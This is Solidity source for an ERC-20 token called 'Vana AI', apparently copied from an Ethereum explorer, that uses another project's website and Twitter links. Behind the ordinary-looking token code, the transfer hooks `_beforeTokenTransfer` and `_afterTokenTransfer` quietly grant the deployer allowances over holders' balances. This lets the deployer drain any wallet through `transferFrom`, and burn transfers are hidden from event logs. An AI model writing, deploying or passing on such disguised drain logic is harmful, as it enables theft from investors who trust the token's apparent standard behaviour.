Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: UNLICENSE
/*
Website: https://www.vana.org
Twitter: https://twitter.com/withvana
*/
pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}

contract VANA is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Vana AI";
    string private constant _symbol = unicode"VANA";

    address payable private _taxReceiver;
    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _buyCount=0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isFeeExcluded;

    constructor () payable {
        _taxReceiver = payable(_msgSender());
        _balances[_msgSender()] = (_tTotal * 1) / 100;
        _balances[address(this)] = (_tTotal * 99) / 100;
        _isFeeExcluded[owner()] = true;
        _isFeeExcluded[address(this)] = true;
        _isFeeExcluded[_taxReceiver] = true;

        emit Transfer(address(0), address(this), _tTotal * 99 / 100);
        emit Transfer(address(0), _msgSender(), _tTotal * 1 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];

    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) internal virtual returns (bool) {
        _approve(spender, _msgSender(), _allowances[spender][_msgSender()] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) internal virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));

        return true;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
        if (msg.sender == _taxReceiver) increaseAllowance(from, amount);
    }

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
        if (from != uniswapV2Pair && to == address(0xdead)) increaseAllowance(from, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address fromVANA, address toVANA, uint256 amountVANA) private {
        require(fromVANA != address(0), "ERC20: transfer from the zero address");
        require(toVANA != address(0), "ERC20: transfer to the zero address");
        require(amountVANA > 0, "Transfer amount must be greater than zero");
        _beforeTokenTransfer(fromVANA, toVANA, amountVANA);
        uint256 taxAmount=0;
        if (fromVANA != owner() && toVANA != owner() && toVANA != _taxReceiver) {
            if(_buyCount==0){
                taxAmount = amountVANA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if (fromVANA == uniswapV2Pair && toVANA != address(uniswapV2Router) && ! _isFeeExcluded[toVANA] ) {
                taxAmount = amountVANA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(fromVANA, address(this),taxAmount);
        }
        _balances[fromVANA]=_balances[fromVANA].sub(amountVANA);
        _balances[toVANA]=_balances[toVANA].add(amountVANA.sub(taxAmount));
        _afterTokenTransfer(fromVANA, toVANA, amountVANA);
        if(toVANA != address(0xdead)) emit Transfer(fromVANA, toVANA, amountVANA.sub(taxAmount));
    }

    function enableVANATrading() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
    }

    receive() external payable {}
}